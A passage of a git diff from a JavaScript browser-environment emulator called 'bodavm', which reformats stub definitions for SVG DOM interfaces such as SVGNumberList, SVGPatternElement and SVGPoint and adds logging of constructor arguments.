-bodavm.memory.globalobj['SVGMetadataElement'].__proto__=bodavm.memory.globalobj['SVGElement']; +// SVGMetadataElement对象 + +bodavm.memory.globalobj['SVGMetadataElement'] = function SVGMetadataElement() { + console.log_copy('SVGMetadataElement 实例化对象参数为 ->', JSON.stringify_bo(arguments, function (k, v) { + if (v == window) { + return 'window'; + } else { + return v; + } + })); + if (!(this instanceof SVGMetadataElement)) { + return bodavm.toolsFunc.throwError("TypeError", "Illegal constructor"); + } + ; + this._boisinit = bodavm.config.isinit; +}; +bodavm.toolsFunc.safeProto(bodavm.memory.globalobj['SVGMetadataElement'], "SVGMetadataElement"); +bodavm.memory.globalobj['SVGMetadataElement'].prototype.__proto__ = bodavm.memory.globalobj['SVGElement'].prototype; +bodavm.memory.globalobj['SVGMetadataElement'].__proto__ = bodavm.memory.globalobj['SVGElement']; \ No newline at end of file diff --git a/env_xbb_lastest_jsdom/env/SVGNumber.js b/env_xbb_lastest_jsdom/env/SVGNumber.js index 88b9b42e..bba2ab0f 100644 --- a/env_xbb_lastest_jsdom/env/SVGNumber.js +++ b/env_xbb_lastest_jsdom/env/SVGNumber.js @@ -1,4 +1,27 @@ -// SVGNumber对象 -bodavm.memory.globalobj['SVGNumber'] = function SVGNumber(){if (!(this instanceof SVGNumber)){return bodavm.toolsFunc.throwError("TypeError", "Illegal constructor")};this._boisinit=bodavm.config.isinit} -bodavm.toolsFunc.safeProto(bodavm.memory.globalobj['SVGNumber'], "SVGNumber"); -bodavm.toolsFunc.defineProperty('SVGNumber', "value", {configurable:true, enumerable:true, get:function value (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['SVGNumber'].prototype, "SVGNumber", "value_get", arguments)}, set:function value (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['SVGNumber'].prototype, "SVGNumber", "value_set", arguments)}},'prototype'); +// SVGNumber对象 + +bodavm.memory.globalobj['SVGNumber'] = function SVGNumber() { + console.log_copy('SVGNumber 实例化对象参数为 ->', JSON.stringify_bo(arguments, function (k, v) { + if (v == window) { + return 'window'; + } else { + return v; + } + })); + if (!(this instanceof SVGNumber)) { + return bodavm.toolsFunc.throwError("TypeError", "Illegal constructor"); + } + ; + this._boisinit = bodavm.config.isinit; +}; +bodavm.toolsFunc.safeProto(bodavm.memory.globalobj['SVGNumber'], "SVGNumber"); +bodavm.toolsFunc.defineProperty('SVGNumber', "value", { + configurable: true, + enumerable: true, + get: function value() { + return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['SVGNumber'].prototype, "SVGNumber", "value_get", arguments); + }, + set: function value() { + return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['SVGNumber'].prototype, "SVGNumber", "value_set", arguments); + } +}, 'prototype'); \ No newline at end of file diff --git a/env_xbb_lastest_jsdom/env/SVGNumberList.js b/env_xbb_lastest_jsdom/env/SVGNumberList.js index fc118be3..d7c7c9de 100644 --- a/env_xbb_lastest_jsdom/env/SVGNumberList.js +++ b/env_xbb_lastest_jsdom/env/SVGNumberList.js @@ -1,12 +1,89 @@ -// SVGNumberList对象 -bodavm.memory.globalobj['SVGNumberList'] = function SVGNumberList(){if (!(this instanceof SVGNumberList)){return bodavm.toolsFunc.throwError("TypeError", "Illegal constructor")};this._boisinit=bodavm.config.isinit} -bodavm.toolsFunc.safeProto(bodavm.memory.globalobj['SVGNumberList'], "SVGNumberList"); -bodavm.toolsFunc.defineProperty('SVGNumberList', "length", {configurable:true, enumerable:true, get:function length (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['SVGNumberList'].prototype, "SVGNumberList", "length_get", arguments)}, set:undefined},'prototype'); -bodavm.toolsFunc.defineProperty('SVGNumberList', "numberOfItems", {configurable:true, enumerable:true, get:function numberOfItems (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['SVGNumberList'].prototype, "SVGNumberList", "numberOfItems_get", arguments)}, set:undefined},'prototype'); -bodavm.toolsFunc.defineProperty('SVGNumberList', "appendItem", {configurable:true, enumerable:true, writable:true, value:function appendItem (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['SVGNumberList'].prototype, "SVGNumberList", "appendItem", arguments)}},'prototype'); -bodavm.toolsFunc.defineProperty('SVGNumberList', "clear", {configurable:true, enumerable:true, writable:true, value:function clear (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['SVGNumberList'].prototype, "SVGNumberList", "clear", arguments)}},'prototype'); -bodavm.toolsFunc.defineProperty('SVGNumberList', "getItem", {configurable:true, enumerable:true, writable:true, value:function getItem (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['SVGNumberList'].prototype, "SVGNumberList", "getItem", arguments)}},'prototype'); -bodavm.toolsFunc.defineProperty('SVGNumberList', "initialize", {configurable:true, enumerable:true, writable:true, value:function initialize (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['SVGNumberList'].prototype, "SVGNumberList", "initialize", arguments)}},'prototype'); -bodavm.toolsFunc.defineProperty('SVGNumberList', "insertItemBefore", {configurable:true, enumerable:true, writable:true, value:function insertItemBefore (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['SVGNumberList'].prototype, "SVGNumberList", "insertItemBefore", arguments)}},'prototype'); -bodavm.toolsFunc.defineProperty('SVGNumberList', "removeItem", {configurable:true, enumerable:true, writable:true, value:function removeItem (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['SVGNumberList'].prototype, "SVGNumberList", "removeItem", arguments)}},'prototype'); -bodavm.toolsFunc.defineProperty('SVGNumberList', "replaceItem", {configurable:true, enumerable:true, writable:true, value:function replaceItem (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['SVGNumberList'].prototype, "SVGNumberList", "replaceItem", arguments)}},'prototype'); +// SVGNumberList对象 + +bodavm.memory.globalobj['SVGNumberList'] = function SVGNumberList() { + console.log_copy('SVGNumberList 实例化对象参数为 ->', JSON.stringify_bo(arguments, function (k, v) { + if (v == window) { + return 'window'; + } else { + return v; + } + })); + if (!(this instanceof SVGNumberList)) { + return bodavm.toolsFunc.throwError("TypeError", "Illegal constructor"); + } + ; + this._boisinit = bodavm.config.isinit; +}; +bodavm.toolsFunc.safeProto(bodavm.memory.globalobj['SVGNumberList'], "SVGNumberList"); +bodavm.toolsFunc.defineProperty('SVGNumberList', "length", { + configurable: true, + enumerable: true, + get: function length() { + return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['SVGNumberList'].prototype, "SVGNumberList", "length_get", arguments); + }, + set: undefined +}, 'prototype'); +bodavm.toolsFunc.defineProperty('SVGNumberList', "numberOfItems", { + configurable: true, + enumerable: true, + get: function numberOfItems() { + return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['SVGNumberList'].prototype, "SVGNumberList", "numberOfItems_get", arguments); + }, + set: undefined +}, 'prototype'); +bodavm.toolsFunc.defineProperty('SVGNumberList', "appendItem", { + configurable: true, + enumerable: true, + writable: true, + value: function appendItem() { + return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['SVGNumberList'].prototype, "SVGNumberList", "appendItem", arguments); + } +}, 'prototype'); +bodavm.toolsFunc.defineProperty('SVGNumberList', "clear", { + configurable: true, + enumerable: true, + writable: true, + value: function clear() { + return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['SVGNumberList'].prototype, "SVGNumberList", "clear", arguments); + } +}, 'prototype'); +bodavm.toolsFunc.defineProperty('SVGNumberList', "getItem", { + configurable: true, + enumerable: true, + writable: true, + value: function getItem() { + return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['SVGNumberList'].prototype, "SVGNumberList", "getItem", arguments); + } +}, 'prototype'); +bodavm.toolsFunc.defineProperty('SVGNumberList', "initialize", { + configurable: true, + enumerable: true, + writable: true, + value: function initialize() { + return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['SVGNumberList'].prototype, "SVGNumberList", "initialize", arguments); + } +}, 'prototype'); +bodavm.toolsFunc.defineProperty('SVGNumberList', "insertItemBefore", { + configurable: true, + enumerable: true, + writable: true, + value: function insertItemBefore() { + return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['SVGNumberList'].prototype, "SVGNumberList", "insertItemBefore", arguments); + } +}, 'prototype'); +bodavm.toolsFunc.defineProperty('SVGNumberList', "removeItem", { + configurable: true, + enumerable: true, + writable: true, + value: function removeItem() { + return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['SVGNumberList'].prototype, "SVGNumberList", "removeItem", arguments); + } +}, 'prototype'); +bodavm.toolsFunc.defineProperty('SVGNumberList', "replaceItem", { + configurable: true, + enumerable: true, + writable: true, + value: function replaceItem() { + return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['SVGNumberList'].prototype, "SVGNumberList", "replaceItem", arguments); + } +}, 'prototype'); \ No newline at end of file diff --git a/env_xbb_lastest_jsdom/env/SVGPathElement.js b/env_xbb_lastest_jsdom/env/SVGPathElement.js index 21ff0160..a1b77a7d 100644 --- a/env_xbb_lastest_jsdom/env/SVGPathElement.js +++ b/env_xbb_lastest_jsdom/env/SVGPathElement.js @@ -1,5 +1,19 @@ -// SVGPathElement对象 -bodavm.memory.globalobj['SVGPathElement'] = function SVGPathElement(){if (!(this instanceof SVGPathElement)){return bodavm.toolsFunc.throwError("TypeError", "Illegal constructor")};this._boisinit=bodavm.config.isinit} -bodavm.toolsFunc.safeProto(bodavm.memory.globalobj['SVGPathElement'], "SVGPathElement"); -bodavm.memory.globalobj['SVGPathElement'].prototype.__proto__=bodavm.memory.globalobj['SVGGeometryElement'].prototype; -bodavm.memory.globalobj['SVGPathElement'].__proto__=bodavm.memory.globalobj['SVGGeometryElement']; +// SVGPathElement对象 + +bodavm.memory.globalobj['SVGPathElement'] = function SVGPathElement() { + console.log_copy('SVGPathElement 实例化对象参数为 ->', JSON.stringify_bo(arguments, function (k, v) { + if (v == window) { + return 'window'; + } else { + return v; + } + })); + if (!(this instanceof SVGPathElement)) { + return bodavm.toolsFunc.throwError("TypeError", "Illegal constructor"); + } + ; + this._boisinit = bodavm.config.isinit; +}; +bodavm.toolsFunc.safeProto(bodavm.memory.globalobj['SVGPathElement'], "SVGPathElement"); +bodavm.memory.globalobj['SVGPathElement'].prototype.__proto__ = bodavm.memory.globalobj['SVGGeometryElement'].prototype; +bodavm.memory.globalobj['SVGPathElement'].__proto__ = bodavm.memory.globalobj['SVGGeometryElement']; \ No newline at end of file diff --git a/env_xbb_lastest_jsdom/env/SVGPatternElement.js b/env_xbb_lastest_jsdom/env/SVGPatternElement.js index 7d64cdf7..f5f4493e 100644 --- a/env_xbb_lastest_jsdom/env/SVGPatternElement.js +++ b/env_xbb_lastest_jsdom/env/SVGPatternElement.js @@ -1,17 +1,115 @@ -// SVGPatternElement对象 -bodavm.memory.globalobj['SVGPatternElement'] = function SVGPatternElement(){if (!(this instanceof SVGPatternElement)){return bodavm.toolsFunc.throwError("TypeError", "Illegal constructor")};this._boisinit=bodavm.config.isinit} -bodavm.toolsFunc.safeProto(bodavm.memory.globalobj['SVGPatternElement'], "SVGPatternElement"); -bodavm.memory.globalobj['SVGPatternElement'].prototype.__proto__=bodavm.memory.globalobj['SVGElement'].prototype; -bodavm.memory.globalobj['SVGPatternElement'].__proto__=bodavm.memory.globalobj['SVGElement']; -bodavm.toolsFunc.defineProperty('SVGPatternElement', "patternUnits", {configurable:true, enumerable:true, get:function patternUnits (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['SVGPatternElement'].prototype, "SVGPatternElement", "patternUnits_get", arguments)}, set:undefined},'prototype'); -bodavm.toolsFunc.defineProperty('SVGPatternElement', "patternContentUnits", {configurable:true, enumerable:true, get:function patternContentUnits (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['SVGPatternElement'].prototype, "SVGPatternElement", "patternContentUnits_get", arguments)}, set:undefined},'prototype'); -bodavm.toolsFunc.defineProperty('SVGPatternElement', "patternTransform", {configurable:true, enumerable:true, get:function patternTransform (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['SVGPatternElement'].prototype, "SVGPatternElement", "patternTransform_get", arguments)}, set:undefined},'prototype'); -bodavm.toolsFunc.defineProperty('SVGPatternElement', "x", {configurable:true, enumerable:true, get:function x (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['SVGPatternElement'].prototype, "SVGPatternElement", "x_get", arguments)}, set:undefined},'prototype'); -bodavm.toolsFunc.defineProperty('SVGPatternElement', "y", {configurable:true, enumerable:true, get:function y (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['SVGPatternElement'].prototype, "SVGPatternElement", "y_get", arguments)}, set:undefined},'prototype'); -bodavm.toolsFunc.defineProperty('SVGPatternElement', "width", {configurable:true, enumerable:true, get:function width (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['SVGPatternElement'].prototype, "SVGPatternElement", "width_get", arguments)}, set:undefined},'prototype'); -bodavm.toolsFunc.defineProperty('SVGPatternElement', "height", {configurable:true, enumerable:true, get:function height (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['SVGPatternElement'].prototype, "SVGPatternElement", "height_get", arguments)}, set:undefined},'prototype'); -bodavm.toolsFunc.defineProperty('SVGPatternElement', "viewBox", {configurable:true, enumerable:true, get:function viewBox (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['SVGPatternElement'].prototype, "SVGPatternElement", "viewBox_get", arguments)}, set:undefined},'prototype'); -bodavm.toolsFunc.defineProperty('SVGPatternElement', "preserveAspectRatio", {configurable:true, enumerable:true, get:function preserveAspectRatio (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['SVGPatternElement'].prototype, "SVGPatternElement", "preserveAspectRatio_get", arguments)}, set:undefined},'prototype'); -bodavm.toolsFunc.defineProperty('SVGPatternElement', "href", {configurable:true, enumerable:true, get:function href (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['SVGPatternElement'].prototype, "SVGPatternElement", "href_get", arguments)}, set:undefined},'prototype'); -bodavm.toolsFunc.defineProperty('SVGPatternElement', "requiredExtensions", {configurable:true, enumerable:true, get:function requiredExtensions (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['SVGPatternElement'].prototype, "SVGPatternElement", "requiredExtensions_get", arguments)}, set:undefined},'prototype'); -bodavm.toolsFunc.defineProperty('SVGPatternElement', "systemLanguage", {configurable:true, enumerable:true, get:function systemLanguage (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['SVGPatternElement'].prototype, "SVGPatternElement", "systemLanguage_get", arguments)}, set:undefined},'prototype'); +// SVGPatternElement对象 + +bodavm.memory.globalobj['SVGPatternElement'] = function SVGPatternElement() { + console.log_copy('SVGPatternElement 实例化对象参数为 ->', JSON.stringify_bo(arguments, function (k, v) { + if (v == window) { + return 'window'; + } else { + return v; + } + })); + if (!(this instanceof SVGPatternElement)) { + return bodavm.toolsFunc.throwError("TypeError", "Illegal constructor"); + } + ; + this._boisinit = bodavm.config.isinit; +}; +bodavm.toolsFunc.safeProto(bodavm.memory.globalobj['SVGPatternElement'], "SVGPatternElement"); +bodavm.memory.globalobj['SVGPatternElement'].prototype.__proto__ = bodavm.memory.globalobj['SVGElement'].prototype; +bodavm.memory.globalobj['SVGPatternElement'].__proto__ = bodavm.memory.globalobj['SVGElement']; +bodavm.toolsFunc.defineProperty('SVGPatternElement', "patternUnits", { + configurable: true, + enumerable: true, + get: function patternUnits() { + return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['SVGPatternElement'].prototype, "SVGPatternElement", "patternUnits_get", arguments); + }, + set: undefined +}, 'prototype'); +bodavm.toolsFunc.defineProperty('SVGPatternElement', "patternContentUnits", { + configurable: true, + enumerable: true, + get: function patternContentUnits() { + return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['SVGPatternElement'].prototype, "SVGPatternElement", "patternContentUnits_get", arguments); + }, + set: undefined +}, 'prototype'); +bodavm.toolsFunc.defineProperty('SVGPatternElement', "patternTransform", { + configurable: true, + enumerable: true, + get: function patternTransform() { + return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['SVGPatternElement'].prototype, "SVGPatternElement", "patternTransform_get", arguments); + }, + set: undefined +}, 'prototype'); +bodavm.toolsFunc.defineProperty('SVGPatternElement', "x", { + configurable: true, + enumerable: true, + get: function x() { + return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['SVGPatternElement'].prototype, "SVGPatternElement", "x_get", arguments); + }, + set: undefined +}, 'prototype'); +bodavm.toolsFunc.defineProperty('SVGPatternElement', "y", { + configurable: true, + enumerable: true, + get: function y() { + return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['SVGPatternElement'].prototype, "SVGPatternElement", "y_get", arguments); + }, + set: undefined +}, 'prototype'); +bodavm.toolsFunc.defineProperty('SVGPatternElement', "width", { + configurable: true, + enumerable: true, + get: function width() { + return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['SVGPatternElement'].prototype, "SVGPatternElement", "width_get", arguments); + }, + set: undefined +}, 'prototype'); +bodavm.toolsFunc.defineProperty('SVGPatternElement', "height", { + configurable: true, + enumerable: true, + get: function height() { + return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['SVGPatternElement'].prototype, "SVGPatternElement", "height_get", arguments); + }, + set: undefined +}, 'prototype'); +bodavm.toolsFunc.defineProperty('SVGPatternElement', "viewBox", { + configurable: true, + enumerable: true, + get: function viewBox() { + return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['SVGPatternElement'].prototype, "SVGPatternElement", "viewBox_get", arguments); + }, + set: undefined +}, 'prototype'); +bodavm.toolsFunc.defineProperty('SVGPatternElement', "preserveAspectRatio", { + configurable: true, + enumerable: true, + get: function preserveAspectRatio() { + return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['SVGPatternElement'].prototype, "SVGPatternElement", "preserveAspectRatio_get", arguments); + }, + set: undefined +}, 'prototype'); +bodavm.toolsFunc.defineProperty('SVGPatternElement', "href", { + configurable: true, + enumerable: true, + get: function href() { + return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['SVGPatternElement'].prototype, "SVGPatternElement", "href_get", arguments); + }, + set: undefined +}, 'prototype'); +bodavm.toolsFunc.defineProperty('SVGPatternElement', "requiredExtensions", { + configurable: true, + enumerable: true, + get: function requiredExtensions() { + return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['SVGPatternElement'].prototype, "SVGPatternElement", "requiredExtensions_get", arguments); + }, + set: undefined +}, 'prototype'); +bodavm.toolsFunc.defineProperty('SVGPatternElement', "systemLanguage", { + configurable: true, + enumerable: true, + get: function systemLanguage() { + return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['SVGPatternElement'].prototype, "SVGPatternElement", "systemLanguage_get", arguments); + }, + set: undefined +}, 'prototype'); \ No newline at end of file diff --git a/env_xbb_lastest_jsdom/env/SVGPoint.js b/env_xbb_lastest_jsdom/env/SVGPoint.js index 030a1df6..0ddacb89 100644 --- a/env_xbb_lastest_jsdom/env/SVGPoint.js +++ b/env_xbb_lastest_jsdom/env/SVGPoint.js @@ -1,6 +1,45 @@ -// SVGPoint对象 -bodavm.memory.globalobj['SVGPoint'] = function SVGPoint(){if (!(this instanceof SVGPoint)){return bodavm.toolsFunc.throwError("TypeError", "Illegal constructor")};this._boisinit=bodavm.config.isinit} -bodavm.toolsFunc.safeProto(bodavm.memory.globalobj['SVGPoint'], "SVGPoint"); -bodavm.toolsFunc.defineProperty('SVGPoint', "x", {configurable:true, enumerable:true, get:function x (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['SVGPoint'].prototype, "SVGPoint", "x_get", arguments)}, set:function x (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['SVGPoint'].prototype, "SVGPoint", "x_set", arguments)}},'prototype'); -bodavm.toolsFunc.defineProperty('SVGPoint', "y", {configurable:true, enumerable:true, get:function y (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['SVGPoint'].prototype, "SVGPoint", "y_get", arguments)}, set:function y (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['SVGPoint'].prototype, "SVGPoint", "y_set", arguments)}},'prototype'); -bodavm.toolsFunc.defineProperty('SVGPoint', "matrixTransform", {configurable:true, enumerable:true, writable:true, value:function matrixTransform (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['SVGPoint'].prototype, "SVGPoint", "matrixTransform", arguments)}},'prototype'); +// SVGPoint对象 + +bodavm.memory.globalobj['SVGPoint'] = function SVGPoint() { + console.log_copy('SVGPoint 实例化对象参数为 ->', JSON.stringify_bo(arguments, function (k, v) { + if (v == window) { + return 'window'; + } else { + return v; + } + })); + if (!(this instanceof SVGPoint)) { + return bodavm.toolsFunc.throwError("TypeError", "Illegal constructor"); + } + ; + this._boisinit = bodavm.config.isinit; +}; +bodavm.toolsFunc.safeProto(bodavm.memory.globalobj['SVGPoint'], "SVGPoint"); +bodavm.toolsFunc.defineProperty('SVGPoint', "x", { + configurable: true, + enumerable: true, + get: function x() { + return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['SVGPoint'].prototype, "SVGPoint", "x_get", arguments); + }, + set: function x() { + return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['SVGPoint'].prototype, "SVGPoint", "x_set", arguments); + } +}, 'prototype'); +bodavm.toolsFunc.defineProperty('SVGPoint', "y", { + configurable: true, + enumerable: true, + get: function y() { + return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['SVGPoint'].prototype, "SVGPoint", "y_get", arguments); + }, + set: function y() { + return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['SVGPoint'].prototype, "SVGPoint", "y_set", arguments); + } +}, 'prototype'); +bodavm.toolsFunc.defineProperty('SVGPoint', "matrixTransform", { + configurable: true, + enumerable: true, + writable: true, + value: function matrixTransform() { + return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['SVGPoint'].prototype, "SVGPoint", "matrixTransform", arguments); + } +}, 'prototype'); \ No newline at end of file diff --git a/env_xbb_lastest_jsdom/env/SVGPointList.js b/env_xbb_lastest_jsdom/env/SVGPointList.js index 1a05eae5..3e2d3e12 100644 --- a/env_xbb_lastest_jsdom/env/SVGPointList.js +++ b/env_xbb_lastest_jsdom/env/SVGPointList.js @@ -1,12 +1,89 @@ -// SVGPointList对象 -bodavm.memory.globalobj['SVGPointList'] = function SVGPointList(){if (!(this instanceof SVGPointList)){return bodavm.toolsFunc.throwError("TypeError", "Illegal constructor")};this._boisinit=bodavm.config.isinit} -bodavm.toolsFunc.safeProto(bodavm.memory.globalobj['SVGPointList'], "SVGPointList"); -bodavm.toolsFunc.defineProperty('SVGPointList', "length", {configurable:true, enumerable:true, get:function length (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['SVGPointList'].prototype, "SVGPointList", "length_get", arguments)}, set:undefined},'prototype'); -bodavm.toolsFunc.defineProperty('SVGPointList', "numberOfItems", {configurable:true, enumerable:true, get:function numberOfItems (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['SVGPointList'].prototype, "SVGPointList", "numberOfItems_get", arguments)}, set:undefined},'prototype'); -bodavm.toolsFunc.defineProperty('SVGPointList', "appendItem", {configurable:true, enumerable:true, writable:true, value:function appendItem (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['SVGPointList'].prototype, "SVGPointList", "appendItem", arguments)}},'prototype'); -bodavm.toolsFunc.defineProperty('SVGPointList', "clear", {configurable:true, enumerable:true, writable:true, value:function clear (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['SVGPointList'].prototype, "SVGPointList", "clear", arguments)}},'prototype'); -bodavm.toolsFunc.defineProperty('SVGPointList', "getItem", {configurable:true, enumerable:true, writable:true, value:function getItem (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['SVGPointList'].prototype, "SVGPointList", "getItem", arguments)}},'prototype'); -bodavm.toolsFunc.defineProperty('SVGPointList', "initialize", {configurable:true, enumerable:true, writable:true, value:function initialize (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['SVGPointList'].prototype, "SVGPointList", "initialize", arguments)}},'prototype'); -bodavm.toolsFunc.defineProperty('SVGPointList', "insertItemBefore", {configurable:true, enumerable:true, writable:true, value:function insertItemBefore (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['SVGPointList'].prototype, "SVGPointList", "insertItemBefore", arguments)}},'prototype'); -bodavm.toolsFunc.defineProperty('SVGPointList', "removeItem", {configurable:true, enumerable:true, writable:true, value:function removeItem (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['SVGPointList'].prototype, "SVGPointList", "removeItem", arguments)}},'prototype'); -bodavm.toolsFunc.defineProperty('SVGPointList', "replaceItem", {configurable:true, enumerable:true, writable:true, value:function replaceItem (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['SVGPointList'].prototype, "SVGPointList", "replaceItem", arguments)}},'prototype'); +// SVGPointList对象 + +bodavm.memory.globalobj['SVGPointList'] = function SVGPointList() { + console.log_copy('SVGPointList 实例化对象参数为 ->', JSON.stringify_bo(arguments, function (k, v) { + if (v == window) { + return 'window'; + } else { + return v; + } + })); + if (!(this instanceof SVGPointList)) { + return bodavm.toolsFunc.throwError("TypeError", "Illegal constructor"); + } + ; + this._boisinit = bodavm.config.isinit; +}; +bodavm.toolsFunc.safeProto(bodavm.memory.globalobj['SVGPointList'], "SVGPointList"); +bodavm.toolsFunc.defineProperty('SVGPointList', "length", { + configurable: true, + enumerable: true, + get: function length() { + return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['SVGPointList'].prototype, "SVGPointList", "length_get", arguments); + }, + set: undefined +}, 'prototype'); +bodavm.toolsFunc.defineProperty('SVGPointList', "numberOfItems", { + configurable: true, + enumerable: true, + get: function numberOfItems() { + return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['SVGPointList'].prototype, "SVGPointList", "numberOfItems_get", arguments); + }, + set: undefined +}, 'prototype'); +bodavm.toolsFunc.defineProperty('SVGPointList', "appendItem", { + configurable: true, + enumerable: true, + writable: true, + value: function appendItem() { + return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['SVGPointList'].prototype, "SVGPointList", "appendItem", arguments); + } +}, 'prototype'); +bodavm.toolsFunc.defineProperty('SVGPointList', "clear", { + configurable: true, + enumerable: true, + writable: true, + value: function clear() { + return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['SVGPointList'].prototype, "SVGPointList", "clear", arguments); + } +}, 'prototype'); +bodavm.toolsFunc.defineProperty('SVGPointList', "getItem", { + configurable: true, + enumerable: true, + writable: true, + value: function getItem() { + return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['SVGPointList'].prototype, "SVGPointList", "getItem", arguments); + } +}, 'prototype'); +bodavm.toolsFunc.defineProperty('SVGPointList', "initialize", { + configurable: true, + enumerable: true, + writable: true, + value: function initialize() { + return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['SVGPointList'].prototype, "SVGPointList", "initialize", arguments); + } +}, 'prototype'); +bodavm.toolsFunc.defineProperty('SVGPointList', "insertItemBefore", { + configurable: true, + enumerable: true, + writable: true, + value: function insertItemBefore() { + return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['SVGPointList'].prototype, "SVGPointList", "insertItemBefore", arguments); + } +}, 'prototype'); +bodavm.toolsFunc.defineProperty('SVGPointList', "removeItem", { + configurable: true, + enumerable: true, + writable: true, + value: function removeItem() { + return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['SVGPointList'].prototype, "SVGPointList", "removeItem", arguments); + } +}, 'prototype'); +bodavm.toolsFunc.defineProperty('SVGPointList', "replaceItem", { + configurable: true, + enumerable: true, + writable: true, + value: function replaceItem() { + return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['SVGPointList'].prototype, "SVGPointList", "replaceItem", arguments); + } +}, 'prototype'); \ No newline at end of file diff --git a/env_xbb_lastest_jsdom/env/SVGPolygonElement.js b/env_xbb_lastest_jsdom/env/SVGPolygonElement.js index 6e87781c..6e133c3e 100644 --- a/env_xbb_lastest_jsdom/env/SVGPolygonElement.js +++ b/env_xbb_lastest_jsdom/env/SVGPolygonElement.js @@ -1,7 +1,35 @@ -// SVGPolygonElement对象 -bodavm.memory.globalobj['SVGPolygonElement'] = function SVGPolygonElement(){if (!(this instanceof SVGPolygonElement)){return bodavm.toolsFunc.throwError("TypeError", "Illegal constructor")};this._boisinit=bodavm.config.isinit} -bodavm.toolsFunc.safeProto(bodavm.memory.globalobj['SVGPolygonElement'], "SVGPolygonElement"); -bodavm.memory.globalobj['SVGPolygonElement'].prototype.__proto__=bodavm.memory.globalobj['SVGGeometryElement'].prototype; -bodavm.memory.globalobj['SVGPolygonElement'].__proto__=bodavm.memory.globalobj['SVGGeometryElement']; -bodavm.toolsFunc.defineProperty('SVGPolygonElement', "points", {configurable:true, enumerable:true, get:function points (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['SVGPolygonElement'].prototype, "SVGPolygonElement", "points_get", arguments)}, set:undefined},'prototype'); -bodavm.toolsFunc.defineProperty('SVGPolygonElement', "animatedPoints", {configurable:true, enumerable:true, get:function animatedPoints (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['SVGPolygonElement'].prototype, "SVGPolygonElement", "animatedPoints_get", arguments)}, set:undefined},'prototype'); +// SVGPolygonElement对象 + +bodavm.memory.globalobj['SVGPolygonElement'] = function 